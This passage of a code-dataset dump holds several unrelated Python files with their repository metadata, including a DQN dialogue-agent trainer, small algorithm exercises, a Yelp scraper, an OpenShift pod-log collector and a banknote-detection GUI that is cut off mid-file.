Conversation Simulations\n##########################################################################\nstatus = {'successes': 0, 'count': 0, 'cumulative_reward': 0}\nsimulation_epoch_size = params['simulation_epoch_size']\nbatch_size = params['batch_size']\nwarm_start = params['warm_start']\nwarm_start_epochs = params['warm_start_epochs']\nsuccess_rate_threshold = params['success_rate_threshold']\nsave_check_point = params['save_check_point']\nprint(\"=============== Parameters Setup Done\\n\")\n\n\"\"\" Initialization of Best Model and Performance Records \"\"\"\nbest_model = {}\nbest_res = {'avg_reward': float('-inf'), 'epoch': 0,\n 'avg_turns': float('inf'), 'success_rate': 0}\n# best_model['model'] = copy.deepcopy(agent)\nbest_res['success_rate'] = 0\nperformance_records = {}\nperformance_records['success_rate'] = {}\nperformance_records['avg_turns'] = {}\nperformance_records['avg_reward'] = {}\nprint(\"=============== Performance Records Setup Done\\n\")\n\n\n\"\"\" Save Keras Model \"\"\"\ndef save_keras_model(path, agt, success_rate, best_epoch, cur_epoch):\n filename = 'agt_%s_%s_%s_%.5f' % (agt, best_epoch, cur_epoch, success_rate)\n filepath = os.path.join(path, filename)\n checkpoint = {}\n checkpoint['params'] = params\n try:\n with open(filepath + '.p', 'wb') as f:\n pickle.dump(checkpoint, f, protocol=pickle.HIGHEST_PROTOCOL)\n dialog_manager.agent.model.save(filepath + '.h5')\n print('Success! save_keras_model: Model saved in %s' % (filepath, ))\n except Exception as e:\n print('Error! save_keras_model: Writing model fails: %s' % filepath)\n print('\\t', e)\n\n\"\"\" Save Performance Numbers \"\"\"\ndef save_performance_records(path, agt, records):\n filename = 'agt_%s_performance_records.json' % (agt)\n filepath = os.path.join(path, filename)\n try:\n json.dump(records, open(filepath, \"w\"))\n print('Success! save_performance_records: Model saved in %s' % (filepath, ))\n except Exception as e:\n print('Error! save_performance_records: Writing model fails: %s' % filepath)\n print('\\t', e)\n\n\n\"\"\" Warm_Start Simulation (by Rule Policy) \"\"\"\ndef warm_start_simulation(warm_start_epochs):\n successes = 0\n cumulative_reward = 0\n cumulative_turns = 0\n\n res = {}\n for episode in range(warm_start_epochs):\n print(\"================Episode %3d Start================\" % episode)\n dialog_manager.initialize_episode()\n episode_over = False\n per_episode_reward = 0\n while not episode_over:\n episode_over, reward = dialog_manager.next_turn()\n cumulative_reward += reward\n per_episode_reward += reward\n if episode_over:\n if reward > 0:\n successes += 1\n print(\"Warm Start Simulation Episode %3d: Success\\t(Reward: %+.5f, #Turns: %2d)\"\n % (episode, per_episode_reward, dialog_manager.state_tracker.turn_count))\n else:\n print(\"Warm Start Simulation Episode %3d: Fail\\t\\t(Reward: %+.5f, #Turns: %2d)\"\n % (episode, per_episode_reward, dialog_manager.state_tracker.turn_count))\n cumulative_turns += dialog_manager.state_tracker.turn_count\n\n if len(agent.experience_replay_pool) >= agent.experience_replay_pool_size:\n break\n\n print(\"================Episode %3d Over!================\\n\" % episode)\n\n agent.warm_start = 2 # just a counter to avoid executing warm simulation twice\n res['success_rate'] = float(successes) / warm_start_epochs\n res['avg_reward'] = float(cumulative_reward) / warm_start_epochs\n res['avg_turns'] = float(cumulative_turns) / warm_start_epochs\n print(\"\\\"Warm Start Simulation\\\":\"\n \"\\n\\t#Epoch: %s\"\n \"\\n\\tSuccess Rate: %s\"\n \"\\n\\tAvg Reward: %s\"\n \"\\n\\tAvg Turns: %s\" % (episode + 1, res['success_rate'], res['avg_reward'], res['avg_turns']))\n print(\"\\n\\tCurrent Experience-Replay Pool Size: %s\" %\n (len(agent.experience_replay_pool)), '\\n')\n\n\n\"\"\" Run N-Simulation Dialogues \"\"\"\ndef simulation_epoch(simulation_epoch_size):\n successes = 0\n cumulative_reward = 0\n cumulative_turns = 0\n\n res = {}\n for episode in range(simulation_epoch_size):\n print(\"================Episode %3d Start================\" % episode)\n dialog_manager.initialize_episode()\n episode_over = False\n per_episode_reward = 0\n while not episode_over:\n episode_over, reward = dialog_manager.next_turn()\n cumulative_reward += reward\n per_episode_reward += reward\n if episode_over:\n if reward > 0:\n successes += 1\n print(\"Simulation Episode %3d: Success\\t(Reward: %+.5f, #Turns: %2d)\"\n % (episode, per_episode_reward, dialog_manager.state_tracker.turn_count))\n else:\n print(\"Simulation Episode %3d: Fail\\t(Reward: %+.5f, #Turns: %2d)\"\n % (episode, per_episode_reward, dialog_manager.state_tracker.turn_count))\n cumulative_turns += dialog_manager.state_tracker.turn_count\n\n print(\"================Episode %3d Over!================\\n\" % episode)\n\n res['success_rate'] = float(successes) / simulation_epoch_size\n res['avg_reward'] = float(cumulative_reward) / simulation_epoch_size\n res['avg_turns'] = float(cumulative_turns) / simulation_epoch_size\n print(\"\\\"Simulation Epoch\\\":\"\n \"\\n\\t#Epoch: %s\"\n \"\\n\\tSimulation Success Rate: %s\"\n \"\\n\\tAvg Reward: %s\"\n \"\\n\\tAvg Turns: %s\" % (episode + 1, res['success_rate'], res['avg_reward'], res['avg_turns']))\n print(\"\\n\\tCurrent Experience-Replay Pool Size: %s\" %\n (len(agent.experience_replay_pool)), '\\n')\n return res\n\n\n\"\"\" Run Episodes \"\"\"\ndef run_episodes(count, status):\n successes = 0\n cumulative_reward = 0\n cumulative_turns = 0\n\n # if params['trained_model_path'] == None and warm_start == 1:\n if warm_start == 1:\n print('Warm Start Starting ...\\n')\n warm_start_simulation(warm_start_epochs)\n print('Warm Start Finished, Start RL Training ...\\n')\n\n for episode in range(count):\n print(\"Episode: %s\" % (episode))\n dialog_manager.initialize_episode()\n episode_over = False\n per_episode_reward = 0\n while not episode_over:\n episode_over, reward = dialog_manager.next_turn()\n cumulative_reward += reward\n per_episode_reward += reward\n if episode_over:\n if reward > 0:\n print(\"Successful Dialog! (Reward: %s)\" % per_episode_reward)\n successes += 1\n else:\n print(\"Failed Dialog! (Reward: % s)\" % per_episode_reward)\n\n cumulative_turns += dialog_manager.state_tracker.turn_count\n\n # Run Simulation\n # if params['trained_model_path'] == None:\n agent.predict_mode = True\n print(\"Get Simulation Results......\")\n simulation_res = simulation_epoch(simulation_epoch_size)\n\n performance_records['success_rate'][episode] = simulation_res['success_rate']\n performance_records['avg_reward'][episode] = simulation_res['avg_reward']\n performance_records['avg_turns'][episode] = simulation_res['avg_turns']\n\n if simulation_res['success_rate'] >= success_rate_threshold: # threshold = 0.90\n if simulation_res['success_rate'] >= best_res['success_rate']:\n agent.experience_replay_pool = [] # clear the exp-pool by better dialogues\n simulation_epoch(simulation_epoch_size)\n else:\n if random.random() < agent.epsilon:\n agent.experience_replay_pool = [] # clear the exp-pool by better dialogues\n simulation_epoch(simulation_epoch_size)\n\n if simulation_res['success_rate'] > best_res['success_rate']:\n best_res['success_rate'] = simulation_res['success_rate']\n best_res['avg_reward'] = simulation_res['avg_reward']\n best_res['avg_turns'] = simulation_res['avg_turns']\n best_res['epoch'] = episode\n\n agent.train(batch_size, 1)\n agent.predict_mode = False\n\n print(\"Simulation Success Rate %s, Avg Reward %s, Avg Turns %s, Best Success Rate %s\"\n % (performance_records['success_rate'][episode],\n performance_records['avg_reward'][episode],\n performance_records['avg_turns'][episode],\n best_res['success_rate']))\n\n # save the model every 10 episodes\n if episode % save_check_point == 0 and params['trained_model_path'] == None:\n save_keras_model(params['write_model_dir'], agt,\n best_res['success_rate'], best_res['epoch'], episode)\n save_performance_records(params['write_model_dir'], agt, performance_records)\n\n print(\"Progress: %s / %s, Success rate: %s / %s Avg reward: %.3f Avg turns: %.3f\\n\" %\n (episode + 1, count, successes, episode + 1, float(cumulative_reward) / (episode + 1), float(cumulative_turns) / (episode + 1)))\n\n print(\"Final Success rate: %s / %s Avg reward: %.3f Avg turns: %.3f\" %\n (successes, count, float(cumulative_reward) / count, float(cumulative_turns) / count))\n status['successes'] += successes\n status['count'] += count\n\n # if params['trained_model_path'] == None:\n save_keras_model(params['write_model_dir'], agt, float(successes) / count, best_res['epoch'], count)\n save_performance_records(params['write_model_dir'], agt, performance_records)\n\n\nrun_episodes(500, status)\n","repo_name":"henryyang42/NTU-Course-Bot","sub_path":"dqn/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":23038,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"8149910666","text":"\"\"\"\nString Rotation\n\nAssume you have a method isSubstring which checks if one word is a substring of another. Given two strings, s1 and s2,\nwrite code to check if s2 is a rotation of s1 using only one call to isSubstring (e.g., \"waterbottle\" is a rotation of\n\"erbottlewat\")\n\nAuthor: Fuzzy Carter\n\"\"\"\n\nfrom function_timer import function_timer\n\n\n@function_timer\ndef is_rotation(string1: str, string2: str) -> bool:\n \"\"\"\n Checks if string2 is a rotation of string1.\n\n Time Complexity: O(n)\n Space Complexity: O(n)\n\n This works since a rotation will always be a substring of the original string concatenated with itself.\n \"\"\"\n if len(string1) != len(string2):\n return False\n\n return is_substring(string1 + string1, string2)\n\n\n# -- Helper Functions ---------------------------------------------------------\n\ndef is_substring(string1: str, string2: str) -> bool:\n \"\"\"\n Checks if string2 is a substring of string1.\n \"\"\"\n return string2 in string1\n\n\n# -- Main ---------------------------------------------------------------------\nif __name__ == '__main__':\n test_string1 = \"waterbottle\"\n test_string2 = \"erbottlewat\"\n\n test_string_fail = \"waterbottles\"\n\n print(f\"Is {test_string2} a rotation of {test_string1}? {is_rotation(test_string1, test_string2)}\")\n print(f\"Is {test_string_fail} a rotation of {test_string1}? {is_rotation(test_string1, test_string_fail)}\")\n","repo_name":"FuzzyCarter/CodeSamples","sub_path":"strings_n_arrays/string_rotation.py","file_name":"string_rotation.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1562065698","text":"print('Senquência de Fibonacci')\r\nn = int(input('Digite um número: '))\r\nprint('Os primeiros \\033[1;33m{}\\033[m elementos de uma sequencia de Finobacci '.format(n))\r\nf1 = 0\r\nf2 = 1\r\nn1 = 0\r\nwhile n > n1:\r\n print('\\033[1;33m{} →\\033[m'.format(f1), end=' ')\r\n f3 = f1 + f2\r\n if f3 >= f2:\r\n f1 = f2\r\n f2 = f3\r\n n1 += 1\r\nprint('\\033[1;31mFIM!\\033[m')\r\n","repo_name":"caiosribeiro/cursoemvideo-python","sub_path":"ex63.py","file_name":"ex63.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74122157314","text":"import os.path as osp\n\nimport requests\nfrom tqdm import tqdm\n\n\ndef download_model(url: str) -> None:\n filename = url.split('/')[-1]\n r = requests.get(url, stream=True)\n with open(osp.join(osp.dirname(__file__), filename), 'wb') as f:\n with tqdm(\n unit='B',\n unit_scale=True,\n unit_divisor=1024,\n miniters=1,\n desc=filename,\n total=int(r.headers.get('content-length', 0)),\n ) as pbar:\n for chunk in r.iter_content(chunk_size=4096):\n f.write(chunk)\n pbar.update(len(chunk))\n\n\nif __name__ == '__main__':\n download_model('https://github.com/HolyWu/vs-dpir-ncnn/releases/download/model/drunet_color.bin')\n download_model('https://github.com/HolyWu/vs-dpir-ncnn/releases/download/model/drunet_deblocking_color.bin')\n download_model('https://github.com/HolyWu/vs-dpir-ncnn/releases/download/model/drunet_deblocking_gray.bin')\n download_model('https://github.com/HolyWu/vs-dpir-ncnn/releases/download/model/drunet_gray.bin')\n","repo_name":"HolyWu/vs-dpir-ncnn","sub_path":"vsdpir_ncnn/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"30111649077","text":"import subprocess\nfrom optparse import OptionParser\nimport re\nimport time\n\n\ndef run(command):\n try:\n output = subprocess.Popen(command, shell=True,\n universal_newlines=True, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n (out, err) = output.communicate()\n except Exception as e:\n print(\"Failed to run %s, error: %s\" % (command, e))\n return out\n\ndef pods_in_nodes():\n nodes =run(\"oc get pods -A -o wide | grep svt | awk '{print $8}'\")\n node_list = nodes.split('\\n')\n node_json= {}\n for node in node_list:\n if node in node_json.keys():\n continue\n node_json[node] = node_list.count(node)\n\n print(node_json)\n\n\ndef see_if_error_builds(output_file):\n print('here')\n errorbuilds=run('oc get builds --all-namespaces | grep svt | egrep -v \"Running|Complete|Creating|Pending\"')\n with open(output_file, \"a\") as f:\n f.write(str(errorbuilds))\n print (\"error builds\" + str(errorbuilds))\n COUNTER=0\n error_builds_list = errorbuilds.split(\"\\n\")\n builds = []\n\n for val in error_builds_list:\n COUNTER = 0\n error_builds = []\n line = re.split(r'\\s{2,}', val)\n for word in line:\n if ((COUNTER % 6 ) == 0 ):\n error_builds.append(word)\n elif ((COUNTER % 6 ) == 1):\n\n error_builds.append(word)\n builds.append(error_builds)\n else:\n break\n\n COUNTER += 1\n\n return builds\n\n\ndef get_error_builds(build_item):\n namespace = build_item[0]\n name = build_item[1]\n #append to file\n with open(\"build/\" +name + namespace +\".out\", \"w+\") as f:\n f.write(\"Log info for \" + name + \" build in namespace \"+ namespace + '\\n')\n #logs = run(\"oc describe pod/\" + str(name) + \" -n \" + namespace)\n #f.write(\"Describe pod \" + str(logs) + '\\n')\n logs = run(\"oc logs -f build/\" + str(name) + \" -n \" + namespace)\n f.write(\"Logs build \" + str(logs) + '\\n')\n\n\ndef check_error_build(global_output_file):\n builds_list = see_if_error_builds(global_output_file)\n skip_first = True\n run(\"mkdir build\")\n for build_item in builds_list:\n if skip_first:\n skip_first = False\n else:\n get_error_builds(build_item)\n\ndef see_if_error(output_file):\n print('here')\n errorpods=run('oc get pods --all-namespaces | grep svt | egrep -v \"Running|Complete|Creating|Pending\"')\n with open(output_file, \"a\") as f:\n f.write(str(errorpods))\n print (\"errorpods\" + str(errorpods) + str(type(errorpods)))\n COUNTER=0\n error_pods_list = errorpods.split(\"\\n\")\n pods = []\n\n for val in error_pods_list:\n COUNTER = 0\n error_pods = []\n line = re.split(r'\\s{2,}', val)\n for word in line:\n if ((COUNTER % 6 ) == 0 ):\n error_pods.append(word)\n elif ((COUNTER % 6 ) == 1):\n\n error_pods.append(word)\n pods.append(error_pods)\n else:\n break\n\n COUNTER += 1\n\n return pods\n\n\ndef get_error_logs(pod_item, output_file):\n namespace = pod_item[0]\n name = pod_item[1]\n #append to file\n with open(\"pod/\" + name + namespace +\".out\", \"w+\") as f:\n f.write(\"Debugging info for \" + name + \" in namespace \"+ namespace + '\\n')\n logs = run(\"oc logs \" + str(name) + \" -n \" + namespace)\n f.write(\"Logs \" + str(logs) + '\\n')\n\n\n\ndef check_error(global_output_file):\n pods_list = see_if_error(global_output_file)\n skip_first = True\n run(\"mkdir pod\")\n for pod_item in pods_list:\n if skip_first:\n skip_first = False\n else:\n get_error_logs(pod_item, global_output_file)\n\npods_in_nodes()\ncheck_error(\"pod_error.out\")\ncheck_error_build(\"build_error.out\")","repo_name":"openshift/svt","sub_path":"openshift_performance/ci/scripts/get_conc_build_info.py","file_name":"get_conc_build_info.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"61"} +{"seq_id":"23409963371","text":"num_cases = int(raw_input())\n\nfor case in range(1, num_cases + 1):\n ans1 = int(raw_input())\n\n for i in range(1, 5):\n read = raw_input()\n if i == ans1:\n row1 = read.split(\" \")\n row1 = set([int(r) for r in row1])\n\n ans2 = int(raw_input())\n\n for i in range(1, 5):\n read = raw_input()\n if i == ans2:\n row2 = read.split(\" \")\n row2 = set([int(r) for r in row2])\n\n common = row1.intersection(row2)\n\n num = len(common)\n\n if num == 1:\n output = str(common.pop())\n elif num < 1:\n output = \"Volunteer cheated!\"\n else:\n output = \"Bad magician!\"\n\n print (\"Case #\" + str(case) + \": \" + output)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/1165.py","file_name":"1165.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1124529124","text":"# Take a list of strings, serialize them into a singleString then deserialize back into a list of Strings\n# INPUT: List of strings\n# OUTPUT: SAME list of strings\n# Goal: Serialize list of strings into a single string then deserialize back into a list of strings\n\n\n\n# serialize ([Ethan6, 22Foo, -Shang, \"\", \"--\", null, \"100\", \"101\"]) => result-string\n# \"Ethan66-Shang-100-101\"\n# \"6--Shang5-22Foo\n# \"6-Ethan65-22Foo6--Shang0-n-\"\n# \n# \n# \n# deserialize (result-string) => [Ethan, Shang, \"\", null]\n# [\"Ethan\", \"Shang\", \"100\", \"101\"]\n# //iterate through the list and replace sentinel values\n# \n# //Ethan-Shang-\"sentinel value for \"\"\"-\"sentinel value for null\"\n# \n# String serialize(List<String> input) {\n# if (input.empty) {\n# return \"\"\n# }\n# \n# for (String str : input) {\n# \n# }\n# \n# } \n# \n# List<String> deserialize(String input) { … }\n# \n\n\ndef serialize(lst):\n returnStr = \"\"\n for item in lst:\n if item is None:\n returnStr += \"n\" \n returnStr += \"-\"\n\n else:\n returnStr += str(len(item))\n returnStr += \"-\"\n returnStr += item\n return returnStr\n \ndef deserialize(serStr): \n \n returnLst = []\n i = 0\n #Turns out i doesn't get modified during for loop\n while i < len(serStr):\n lenSubStringStr = \"\"\n lenSubString = 0\n subString = \"\"\n null = False\n \n #Get the length of the subString in string form\n #i will be at the delimiter (one char before the string we want)\n while serStr[i] != \"-\":\n lenSubStringStr += serStr[i]\n i += 1\n #Cast the length of the SubString to an int if it's not null\n if lenSubStringStr == \"n\":\n null = True\n else:\n lenSubString = int(lenSubStringStr)\n i += 1 #Must move the index to character after delim\n if (not null):\n for j in range(lenSubString):\n subString += serStr[i]\n i += 1\n returnLst.append(subString)\n else:\n returnLst.append(None)\n \n return returnLst\n \n \n \nlst_basic = [\"Ethan\", \"Shang\", \"100\", \"101\"] \nprint(\"Before: \", lst_basic)\nserialized_basic = serialize(lst_basic)\nprint(\"Serialized: \", serialized_basic)\nprint(\"Deserialized:\", deserialize(serialized_basic), \"\\n\")\n\nlist_None_Delimiter_MoreThan10_Empty = [None, \"-Ethan-\", \"0123456789\", \"\", \"222\", \"222\", \"n\"] \nprint(list_None_Delimiter_MoreThan10_Empty)\nserialized_None_Delimiter_MoreThan10_Empty = serialize(list_None_Delimiter_MoreThan10_Empty)\nprint(serialized_None_Delimiter_MoreThan10_Empty)\nprint(deserialize(serialized_None_Delimiter_MoreThan10_Empty))\n \n \n \n \n \n ","repo_name":"ethanjshang/CodingInterviewQuestions","sub_path":"Yahoo_Serialize.py","file_name":"Yahoo_Serialize.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17989258165","text":"# AoC 2018 - Day 6b\n\ndef load_data():\n coords = {}\n designator = 0\n with open('input.txt', 'r') as infile:\n for l in infile.read().splitlines():\n x, y = l.split(', ')\n coords[str(designator)] = (int(x), int(y))\n designator += 1\n return coords\n\ndef calc_dists(coords):\n grid, gridcount = {}, {}\n inrange = 0\n min_x = min(c[0] for c in coords.values())\n max_x = max(c[0] for c in coords.values())\n min_y = min(c[1] for c in coords.values())\n max_y = max(c[1] for c in coords.values())\n\n for curr_y in range(min_y, max_y + 1):\n for curr_x in range(min_x, max_x+1):\n currdist = 0\n for node_id, c in coords.items():\n coord_x, coord_y = c\n currdist += abs(coord_x - curr_x) + abs(coord_y - curr_y)\n if currdist < 10000:\n inrange += 1\n\n return inrange\n\ndef main():\n print(calc_dists(load_data()))\n\nif __name__ == '__main__':\n main()\n","repo_name":"Azcobu/advent-of-code","sub_path":"2018/day06/aoc18-6b.py","file_name":"aoc18-6b.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27263969283","text":"from sys import stdin\n\nn,m = map(int,stdin.readline().strip().split())\n\ndef song_to_bit(arr,m):\n num = 0\n for i in range(m):\n if arr[i] == 'Y':\n num += (1<<i)\n \n return num\n\ndef bit_cnt(num,m):\n cnt = 0\n for i in range(m):\n if num & (1<<i):\n cnt += 1\n \n return cnt\n\nlst = []\n\ncheck_num = 0\nfor i in range(n):\n git, arr = map(str,stdin.readline().strip().split())\n done = song_to_bit(arr,m)\n lst.append([done,[git]])\n check_num += done\n \nif check_num == 0:\n print(-1)\n exit(0)\n\nfirst = lst.copy()\nnext_comb = []\nlast_comb = lst.copy()\n\nwhile True:\n \n for i in first:\n for j in lst:\n if i[0] | j[0] != max(i[0], j[0]):\n tmp = [i[0] | j[0], sorted(i[1]+j[1])]\n if tmp not in next_comb + last_comb:\n next_comb.append(tmp)\n\n if len(next_comb) == 0:\n break\n \n last_comb.extend(next_comb)\n first = next_comb\n next_comb = []\n\nxxx = sorted(last_comb,key = lambda x: (-bit_cnt(x[0],m),len(x[1])))\nprint(len(xxx[0][1]))\n","repo_name":"elice-02-study-01-algorithm/python","sub_path":"HJ_Seo/logic_prac/bitmasking_done/1497.py","file_name":"1497.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"14716832813","text":"# ### Python script to scrape a url can output clean and useful information into a csv file\nimport csv\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nurl = \"https://www.yelp.ca/biz/pai-northern-thai-kitchen-toronto-5?osq=Restaurants\"\n\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, \"html.parser\")\n\nrestaurant = soup.find(\"h1\", class_=\"css-1se8maq\").text\ntotal_reviews = soup.find(\"a\", class_=\"css-1m051bw\").text\n\nprint(f\"Restaurant name: {restaurant}\")\nprint(f\"Total reviews: {total_reviews}\")\n\nreviews = soup.find_all(\"div\", class_=\"review__09f24__oHr9V border-color--default__09f24__NPAKY\")\n\noutput = []\nreview = reviews[0]\nfor review in reviews:\n name = review.find(\"a\", class_=\"css-1m051bw\").text\n\n text = review.find(\"p\", class_=\"comment__09f24__gu0rG css-qgunke\").text\n\n rating = review.find(\"div\", class_=\"five-stars__09f24__mBKym five-stars--regular__09f24__DgBNj display--inline-block__09f24__fEDiJ border-color--default__09f24__NPAKY\")\n rating = int(rating.attrs[\"aria-label\"][0])\n\n output.append([name, text, rating])\n\nheader = [\"Reviewer\", \"Review_text\", \"Rating\"]\n\nwith open('output.csv', 'w', encoding='UTF8', newline='') as f:\n writer = csv.writer(f)\n\n # write the header\n writer.writerow(header)\n\n # write multiple rows\n writer.writerows(output)\n print(\"Output written to output.csv\")","repo_name":"Mayureshkn99/ML1","sub_path":"Final Exam/webscrapping.py","file_name":"webscrapping.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27379900278","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nEditor de Spyder\r\n\r\nEste es un archivo temporal.\r\n\"\"\"\r\nprint(\"-------------ejecutando------------------------\")\r\nf=open(\"Pararrayos.bc3\")\r\ncontenido= f.read()\r\n#print contenido\r\n\r\nsalida=\"\"\r\n\"\"\"\r\nprocesar linea por linea\r\n\"\"\"\r\nlineas=contenido.split(\"\\n\")\r\n\r\nfor linea in lineas:\r\n if \"~D\" in linea:\r\n if linea.find(\"#\")<0:\r\n #cumpoo que es linea de descompuesto y no es capitulo\r\n #añadir materiales varios\r\n linea = linea[0:len(linea)-1]+ \"MATVARIOS\\\\1\\\\30\\\\|\"\r\n \r\n if \"~T|\" in linea:\r\n if linea.find(\"#\")<0:\r\n linea = linea[0:len(linea)-1] + \". Incluido mano de obra de albañileria, materiales y medios auxiliares. Totalmente instalado y probado|\"\r\n print(linea)\r\n \r\n salida = salida + linea + \"\\n\"\r\nv=open(\"salida2.bc3\",\"w\")\r\nv.write(salida)\r\nv.close()\r\n\r\n","repo_name":"jsbsan/reemplazapython","sub_path":"reemplazos en bc3.py","file_name":"reemplazos en bc3.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42389416957","text":"from tkinter import *\nimport cv2\nfrom utils import *\nfrom matplotlib import pyplot as plt\nimport os\nimport beepy\n\nfrom PIL import ImageTk,Image\nimport subprocess\n#from gtts import gTTS\nfrom tkinter.filedialog import askopenfilename\n\n\n\nvideoCaptureObject = cv2.VideoCapture(0)\n\ndef scan1():\n message.configure(text=\"SCANNING IN PROGRESS........\")\n\n max_val = 8\n max_pt = -1\n max_kp = 0\n\n orb = cv2.ORB_create()\n # orb is an alternative to SIFT\n\n #test_img = read_img('files/test_100_2.jpg')\n #test_img = read_img('files/test_50_2.jpg')\n path= askopenfilename(initialdir=\"C:/Users/Batman/Documents/Programming/tkinter/\",\n filetypes =((\"Image File\", \"*.jpg\"),(\"All Files\",\"*.*\")),\n title = \"Choose a file.\")\n test_img = read_img(path)\n #test_img = read_img('files/test_20_4.jpg')\n\n # resizing must be dynamic\n original = resize_img(test_img, 0.4)\n #display('original', original)\n\n # keypoints and descriptors\n # (kp1, des1) = orb.detectAndCompute(test_img, None)\n (kp1, des1) = orb.detectAndCompute(test_img, None)\n\n training_set = ['files/20.jpg', 'files/50.jpg', 'files/100.jpg', 'files/500.jpg']\n\n for i in range(0, len(training_set)):\n \t# train image\n \ttrain_img = cv2.imread(training_set[i])\n\n \t(kp2, des2) = orb.detectAndCompute(train_img, None)\n\n \t# brute force matcher\n \tbf = cv2.BFMatcher()\n \tall_matches = bf.knnMatch(des1, des2, k=2)\n\n \tgood = []\n \t# give an arbitrary number -> 0.789\n \t# if good -> append to list of good matches\n \tfor (m, n) in all_matches:\n \t\tif m.distance < 0.789 * n.distance:\n \t\t\tgood.append([m])\n\n \tif len(good) > max_val:\n \t\tmax_val = len(good)\n \t\tmax_pt = i\n \t\tmax_kp = kp2\n\n \tprint(i, ' ', training_set[i], ' ', len(good))\n flag=1\n if max_val >20:\n \tprint(training_set[max_pt])\n \tprint('good matches ', max_val)\n\n \ttrain_img = cv2.imread(training_set[max_pt])\n \timg3 = cv2.drawMatchesKnn(test_img, kp1, train_img, max_kp, good, 4)\n\n \tnote = str(training_set[max_pt])[6:-4]\n \tprint('\\nDetected denomination: Rs. ', note)\n\n\n \taudio_file = 'audio/{}.mp3'.format(note)\n\n\n\n else:\n \tflag=0\n\n message.configure(text=\"SCANNING COMPLETED!!!\")\n if(flag==0):\n message3.configure(text=\"\")\n message2.configure(text=\"ERROR!\\n Fake Note Detected\",fg=\"red\",font=(\"Helvestica\",40))\n\n\n s=beepy.beep(sound=\"ready\")\n else:\n message2.configure(text=\"\")\n message3.configure(text=\"Original note detected!\\nDetected denomination: Rs.\"+\" \"+note,fg=\"green\",font=(\"Helvestica\",20))\n\n\n\ndef scan():\n message.configure(text=\"SCANNING IN PROGRESS........\")\n cv2.imwrite(\"test_image.jpg\",frame)\n max_val = 8\n max_pt = -1\n max_kp = 0\n\n orb = cv2.ORB_create()\n\n #test_img = read_img('files/test_100_2.jpg')\n #test_img = read_img('files/test_50_2.jpg')\n test_img = read_img('test_image.jpg')\n #test_img = read_img('files/test_100_3.jpg')\n #test_img = read_img('files/test_20_4.jpg')\n\n # resizing must be dynamic\n original = resize_img(test_img, 0.4)\n #display('original', original)\n\n # keypoints and descriptors\n # (kp1, des1) = orb.detectAndCompute(test_img, None)\n (kp1, des1) = orb.detectAndCompute(test_img, None)\n\n training_set = ['files/20.jpg', 'files/50.jpg', 'files/100.jpg', 'files/500.jpg']\n\n for i in range(0, len(training_set)):\n \t# train image\n \ttrain_img = cv2.imread(training_set[i])\n\n \t(kp2, des2) = orb.detectAndCompute(train_img, None)\n\n \t# brute force matcher\n \tbf = cv2.BFMatcher()\n \tall_matches = bf.knnMatch(des1, des2, k=2)\n\n \tgood = []\n \t# give an arbitrary number -> 0.789\n \t# if good -> append to list of good matches\n \tfor (m, n) in all_matches:\n \t\tif m.distance < 0.789 * n.distance:\n \t\t\tgood.append([m])\n\n \tif len(good) > max_val:\n \t\tmax_val = len(good)\n \t\tmax_pt = i\n \t\tmax_kp = kp2\n\n \tprint(i, ' ', training_set[i], ' ', len(good))\n flag=1\n if max_val >20:\n \tprint(training_set[max_pt])\n \tprint('good matches ', max_val)\n\n \ttrain_img = cv2.imread(training_set[max_pt])\n \timg3 = cv2.drawMatchesKnn(test_img, kp1, train_img, max_kp, good, 4)\n\n \tnote = str(training_set[max_pt])[6:-4]\n \tprint('\\nDetected denomination: Rs. ', note)\n\n\n \taudio_file = 'audio/{}.mp3'.format(note)\n\n\n\n else:\n \tflag=0\n\n message.configure(text=\"SCANNING COMPLETED!!!\")\n if(flag==0):\n message3.configure(text=\"\")\n message2.configure(text=\"ERROR!\\n Fake Note Detected\",fg=\"red\",font=(\"Helvestica\",40))\n\n\n s=beepy.beep(sound=\"ready\")\n else:\n message2.configure(text=\"\")\n message3.configure(text=\"Original note detected!\\nDetected denomination: Rs.\"+\" \"+note,fg=\"green\",font=(\"Helvestica\",20))\n\n\ndef scanning():\n global frame\n def yes():\n #cv2.waitKey(0) # wait for closing\n #cv2.destroyAllWindows() # Ok, destroy the window\n message.configure(text=\"Please click on Start Scanning\")\n up['state']=NORMAL\n but['state']=DISABLED\n but_yes['state']=DISABLED\n but_no['state']=DISABLED\n\n message.configure(text=\" Choose Below Option\")\n ret,frame = videoCaptureObject.read()\n\n\n #--------------------------------------\n but_yes= Button(window,text=\"YES/NEXT\" , font=(\"Helvestica\",20),bg='black',fg='purple2', command=yes)\n but_yes.place(x=130,y=240, height=50,width=250)\n but_no= Button(window,text=\"NO/SCAN AGAIN\" , font=(\"Helvestica\",20),bg='black',fg='purple2', command=scanning)\n 